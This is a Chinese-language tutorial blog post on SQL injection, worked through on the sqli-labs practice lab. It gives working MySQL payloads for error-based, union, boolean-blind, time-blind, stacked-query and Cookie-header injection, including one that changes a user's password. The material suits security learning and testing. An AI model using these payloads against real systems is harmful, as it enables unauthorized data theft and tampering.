SQL注入

类型分为:

数字型和字符型

数字型

当输入的参数为整形时,假如存在漏洞,则是数字型注入

id  = 1’                返回不正常
id = 1 and  1 =1    正常返回
id = 1 and  1=2     不正常返回

 字符型

id  = 1' 异常
id = 1' and  '1' ='1 正常返回
id = 1' and  '1' ='2 不正常返回

注入类型

联合查询注入、报错注入、基于布尔的盲注、基于时间的盲注、HTTP头注入、宽字节注入、堆叠查询、二阶注入。

报错注入

特点:通过特殊函数错误使用并使其输出错误结果来获取信息的。,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息

常用报错函数:

updatexml(),extractvalue(),floor(),exp()

 例如:

extractvalue(1,concat(0x7e,(select database()))) -- +

id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) -- +

id=1' extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))) -- +

id=1' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) a),0x7e))) -- +

 extractvalue

获取当前数据库名:extractvalue(1,concat(0x7e,(select database()))) -- +

获取数据库的下的所以数据表:extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=数据库名),0x7e)) -- + #

获取数据表的所有字段:extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=数据库名 and table_name=表名),0x7e))) -- +

获取表字段的数据:extractvalue(1,concat(0x7e,(select * from (select 字段名 from 表名 limit 0,1) a),0x7e))) -- +

updatexml

爆数据库名:and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

 联合注入

就是使用联合查询进行注入,是一种高效的注入的方式,适用于有回显同时数据库软件版本是5.0以上的MYSQL数据库.

关键函数:union

前提是有在网站注入的时候有回显,把输入的数据会显示出来。

基本流程:

  1. 判断是否存在注入点
  2. 使用order by 判断表中的列数量
  3. 用union,来测试回显点(即可以显示在网站的数据)
  4. 最后就是正常的sql注入。

例如Less-2

使用and 1=1 ,and 1=2 确定是数字型注入
然后确定表的字段
 

id=1 order by 4--+ 错误
id=1 order by 3--+ 返回正常

然后判断回显

 id=-1 union select 1,2,3--+

 可以看到输入的2,3显示出来了,然后后面就跟正常的sql注入就行了。

盲注注入

盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。

盲注注入分类:
 

布尔类型注入:根据页面是否显示正确来判断我们写的语句是否正确执行

时间类型盲注:根据页面加载时间来判断

 布尔盲注

如果结果为真时显示效果与原来一-致,结果为假时查询不到数据或与原来数据不--致,则认为存在布尔型盲注。

特点:只显示错误和正确,只有俩种结果,不会显示错误信息。

需要的函数:

length():查看字符串的长度
substr(str,pos,len)
str是字符串
pos是从哪个开始
len是取多少

ascii(str) 查看字符串的ascll值

 实例:

less8

查看是否注入点,根据and '1'='1 ,and '1'='2判断出是字符串型
然后

首先判断数据库的长度

and length(database())>7--+正常
and length(database())>8--+错误

说明数据库的长度为8

然后就是猜解数据库名称

id=1' and ascii(substr(database(),1,1))=115--+数据库名的第一位
id=1' and ascii(substr(database(),2,1))=115--+数据库名的第二位
id=1' and ascii(substr(database(),3,1))=115--+数据库名的第三位
id=1' and ascii(substr(database(),n,1))=115--+数据库名的第n位
115数字判断的是你猜的字符的ascii值
当然你也可以把ascii去掉变成
id=1 and substr(database(),n,1)=字符--+

猜数据表名

格式:慢慢猜
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit i,1),n,1))=97 #

 猜字段名

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit i,1),n,1))=117 #
i:第几个字段
n:第几个字符

猜数据 

1' and ascii(substr((select 字段名from 表名 limit 0,1),n,1))=106 #
 n表示第几个字符

但是朋友们,谁傻这样一个一个试呀,没错我第一次傻乎乎的一个一个试,然后忘记了可burpsuite工具进行爆破呀!!!或者使用sqlmap工具爆

时间盲注 

   它适用与不会返回任何错误信息,只会显示界面,其实可以用sleep()函数可以来制作延迟,如果延迟了说明我们注入成功了,这样就可以来判断我们注入的代码是否正确。

使用的函数:

if(expr1,expr2,expr3):判断1,如果为真,执行2否则3
sleep(n)      延迟n秒

当然还是需要添加布尔盲注的函数进行判断

 

当然进行了‘进行闭合

可以看到执行了sleep(10)

然后使用核心:if(查询语句,sleep(10),2)

当我们查询语句执行了那么就延迟10秒,接下来查询语句和布尔盲注差不多,如果延迟了所以就正确,没有延迟说明错误

当然这种谁正常人会一个一个试啊,所以可以ptyhon脚本或者burpsuite工具进行爆破。

堆叠注入

 

mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔

开,而堆叠注入其实就是通过结束符来执行多条sql语句

例如:

查看当表内容

select * from users;

如果我想把id=15的密码改为其他的

select * from users;update users set password="456798" where id=15;

同理sql注入知道了密码表,这些都可以进行删除以及添加等

例如:

http://sqli-labs-master/Less-38/?id=-1%27

使用'进行闭合

http://sqli-labs-master/Less-38/?id=1'--+

使用order by 猜字段为3

查看回响:

http://sqli-labs-master/Less-38/?id=1' union select 1,2,3--+

重要部分:

通个sql注入然后得到表名和字段

然后使用字符";"进行改密码

http://sqli-labs-master/Less-38/?id=1' union select 1,2,3;update users set password="helloword" where id=15;--+

对数据库进行了改掉

所以推叠在sql注入在的情况下可以容易操作mysql语句.

 HTTP Header注入

HTTP报文类型:

请求报文:有客户端发送服务器的消息,其中组成请求行,请求头,请求体

响应报文:有服务器向客户端发送的消息:其中状态行,响应头,响应体

  • Cookie注入:服务器对cookie字段进行获取,以验证客户端的身份。

  • Referer注入:服务器记录referer字段用于统计网站的点击量。

  • User-Agent注入:服务器记录访问者的浏览器操作系统版本。

cookie注入

修改cookie的值,使注入的值能够在拼接数据库查询语句从而获得信息,基本上与SQL注入中的get方式提交和post表单方式提交无区别。

cookie利用条件:

   首先对get或者post方式没有用的,这个可以使用把?id=1类的参数的url去掉,如果正常,说明参数还是起到了重要的作用,否则不是起到关键作用,

顾名思义就是用cookie进行传值

Less-20

Cookie: uname=admin'

 

Cookie: uname=admin'--+

 然后判断字段:

Cookie: uname=admin' order by 3--+ 正常
Cookie: uname=admin' order by 4--+ 不正常

 使用union查看回显

Cookie: uname=-admin' union select 1,2,3--+

接下来就和正常的sql注入一样,数据库,表,字段,数据等
 

  • 21
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值